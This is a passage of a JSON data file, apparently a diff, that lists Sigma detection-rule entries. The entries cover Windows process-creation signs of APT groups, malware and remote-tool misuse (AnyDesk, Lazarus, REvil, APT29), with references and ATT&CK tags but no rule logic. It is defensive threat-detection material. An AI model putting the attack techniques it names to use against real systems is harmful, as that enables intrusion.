channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", - "value": "Use of Anydesk Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/11", - "filename": "proc_creation_win_anydesk.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", - "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", - "value": "AnyDesk Inline Piped Password", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/09/28", - "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate piping of the password to anydesk", - "Some FP could occure with similar tools that uses the same command line '--set-password'" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", - "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", - "value": "AnyDesk Silent Installation", - "meta": { - "refs": [ - "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", - "https://support.anydesk.com/Automatic_Deployment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2021/08/06", - "filename": "proc_creation_win_anydesk_silent_install.yml", - "author": "J\u00e1n Tren\u010dansk\u00fd", - "level": "high", - "falsepositive": [ - "Legitimate deployment of AnyDesk" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", - "value": "Use of Anydesk Remote Access Software from Suspicious Folder", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/05/20", - "filename": "proc_creation_win_anydesk_susp_folder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of AnyDesk from a non-standard folder" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", - "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", - "value": "Scheduled Task WScript VBScript", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.t1053.005" - ], - "creation_date": "2022/02/07", - "filename": "proc_creation_win_apt_actinium_persistence.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", - "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", - "value": "APT29", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", - "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" - ], - "tags": [ - "attack.execution", - "attack.g0016", - "attack.t1059.001" - ], - "creation_date": "2018/12/04", - "filename": "proc_creation_win_apt_apt29_thinktanks.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects activity that could be related to Baby Shark malware", - "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", - "value": "Baby Shark Activity", - "meta": { - "refs": [ - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.001", - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1218.005" - ], - "creation_date": "2019/02/24", - "filename": "proc_creation_win_apt_babyshark.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", - "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", - "value": "Judgement Panda Credential Access Activity", - "meta": { - "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001", - "attack.t1003.003" - ], - "creation_date": "2019/02/21", - "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", - "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", - "value": "BlueMashroom DLL Load", - "meta": { - "refs": [ - "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2019/10/02", - "filename": "proc_creation_win_apt_bluemashroom.yml", - "author": "Florian Roth, Tim Shelton", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", - "value": "Chafer Activity", - "meta": { - "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2018/03/23", - "filename": "proc_creation_win_apt_chafer_mar18.yml", - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wmiexec vbs version execution by wscript or cscript", - "uuid": "966e4016-627f-44f7-8341-f394905c361f", - "value": "WMIExec VBS Script", - "meta": { - "refs": [ - "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0045", - "attack.t1059.005" - ], - "creation_date": "2017/04/07", - "filename": "proc_creation_win_apt_cloudhopper.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects CrackMapExecWin Activity as Described by NCSC", - "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", - "value": "CrackMapExecWin", - "meta": { - "refs": [ - "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", - "https://attack.mitre.org/software/S0488/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" - ], - "tags": [ - "attack.g0035", - "attack.credential_access", - "attack.discovery", - "attack.t1110", - "attack.t1087" - ], - "creation_date": "2018/04/08", - "filename": "proc_creation_win_apt_dragonfly.yml", - "author": "Markus Neis", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Elise backdoor acitivty as used by APT32", - "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", - "value": "Elise Backdoor", - "meta": { - "refs": [ - "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" - ], - "tags": [ - "attack.g0030", - "attack.g0050", - "attack.s0081", - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2018/01/31", - "filename": "proc_creation_win_apt_elise.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", - "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", - "value": "Emissary Panda Malware SLLauncher", - "meta": { - "refs": [ - "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", - "https://twitter.com/cyb3rops/status/1168863899531132929", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2018/09/03", - "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects EmpireMonkey APT reported Activity", - "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", - "value": "Empire Monkey", - "meta": { - "refs": [ - "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2019/04/02", - "filename": "proc_creation_win_apt_empiremonkey.yml", - "author": "Markus Neis", - "level": "critical", - "falsepositive": [ - "Very Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a specific tool and export used by EquationGroup", - "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", - "value": "Equation Group DLL_U Load", - "meta": { - "refs": [ - "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", - "https://securelist.com/apt-slingshot/84312/", - "https://twitter.com/cyb3rops/status/972186477512839170", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" - ], - "tags": [ - "attack.g0020", - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2019/03/04", - "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", - "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", - "value": "EvilNum Golden Chickens Deployment via OCX Files", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2020/07/10", - "filename": "proc_creation_win_apt_evilnum_jul20.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "uuid": "18739897-21b1-41da-8ee4-5b786915a676", - "value": "GALLIUM Artefacts", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212", - "attack.command_and_control", - "attack.t1071" - ], - "creation_date": "2020/02/07", - "filename": "proc_creation_win_apt_gallium.yml", - "author": "Tim Burrell", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", - "value": "GALLIUM Artefacts", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212", - "attack.command_and_control", - "attack.t1071" - ], - "creation_date": "2020/02/07", - "filename": "proc_creation_win_apt_gallium_sha1.yml", - "author": "Tim Burrell", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", - "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", - "value": "Suspicious UltraVNC Execution", - "meta": { - "refs": [ - "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.g0047", - "attack.t1021.005" - ], - "creation_date": "2022/03/04", - "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", - "uuid": "3711eee4-a808-4849-8a14-faf733da3612", - "value": "Greenbug Campaign Indicators", - "meta": { - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" - ], - "tags": [ - "attack.g0049", - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2020/05/20", - "filename": "proc_creation_win_apt_greenbug_may20.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", - "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", - "value": "Exchange Exploitation Activity", - "meta": { - "refs": [ - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", - "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", - "https://twitter.com/BleepinComputer/status/1372218235949617161", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546", - "attack.t1053" - ], - "creation_date": "2021/03/09", - "filename": "proc_creation_win_apt_hafnium.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Hurricane Panda Activity", - "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", - "value": "Hurricane Panda Activity", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.g0009", - "attack.t1068" - ], - "creation_date": "2019/03/04", - "filename": "proc_creation_win_apt_hurricane_panda.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", - "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", - "value": "Judgement Panda Exfil Activity", - "meta": { - "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.g0010", - "attack.credential_access", - "attack.t1003.001", - "attack.exfiltration", - "attack.t1560.001" - ], - "creation_date": "2019/02/21", - "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", - "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", - "value": "Ke3chang Registry Key Modifications", - "meta": { - "refs": [ - "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" - ], - "tags": [ - "attack.g0004", - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/06/18", - "filename": "proc_creation_win_apt_ke3chang_regadd.yml", - "author": "Markus Neis, Swisscom", - "level": "critical", - "falsepositive": [ - "Will need to be looked for combinations of those processes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", - "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", - "value": "Lazarus Activity", - "meta": { - "refs": [ - "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1106" - ], - "creation_date": "2021/04/20", - "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Should not be any false positives" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", - "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", - "value": "Lazarus Activity", - "meta": { - "refs": [ - "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://www.hvs-consulting.de/lazarus-report/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/12/23", - "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects different loaders as described in various threat reports on Lazarus group activity", - "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", - "value": "Lazarus Loaders", - "meta": { - "refs": [ - "https://www.hvs-consulting.de/lazarus-report/", - "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/12/23", - "filename": "proc_creation_win_apt_lazarus_loader.yml", - "author": "Florian Roth, wagga", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", - "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", - "value": "Lazarus Session Highjacker", - "meta": { - "refs": [ - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2020/06/03", - "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", - "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", - "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", - "value": "MERCURY Command Line Patterns", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.g0069" - ], - "creation_date": "2022/08/26", - "filename": "proc_creation_win_apt_mercury.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detecting DNS tunnel activity for Muddywater actor", - "uuid": "36222790-0d43-4fe8-86e4-674b27809543", - "value": "DNS Tunnel Technique from MuddyWater", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", - "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ], - "creation_date": "2020/06/04", - "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", - "author": "@caliskanfurkan_", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process parameters as used by Mustang Panda droppers", - "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", - "value": "Mustang Panda Dropper", - "meta": { - "refs": [ - "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", - "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ], - "creation_date": "2019/10/30", - "filename": "proc_creation_win_apt_mustangpanda.yml", - "author": "Florian Roth, oscd.community", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", - "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", - "value": "REvil Kaseya Incident Malware Patterns", - "meta": { - "refs": [ - "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", - "https://www.joesandbox.com/analysis/443736/0/html", - "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.g0115" - ], - "creation_date": "2021/07/03", - "filename": "proc_creation_win_apt_revil_kaseya.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Silence downloader. These commands are hardcoded into the binary.", - "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", - "value": "Silence.Downloader V3", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "attack.discovery", - "attack.t1057", - "attack.t1082", - "attack.t1016", - "attack.t1033", - "attack.g0091" - ], - "creation_date": "2019/11/01", - "filename": "proc_creation_win_apt_silence_downloader_v3.yml", - "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", - "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", - "value": "Defrag Deactivation", - "meta": { - "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005", - "attack.s0111" - ], - "creation_date": "2019/03/04", - "filename": "proc_creation_win_apt_slingshot.yml", - "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Trojan loader activity as used by APT28", - "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", - "value": "Sofacy Trojan Loader Activity", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", - "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", - "https://twitter.com/ClearskySec/status/960924755355369472", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" - ], - "tags": [ - "attack.g0007", - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "car.2013-10-002", - "attack.t1218.011" - ], - "creation_date": "2018/03/01", - "filename": "proc_creation_win_apt_sofacy.yml", - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", - "uuid": 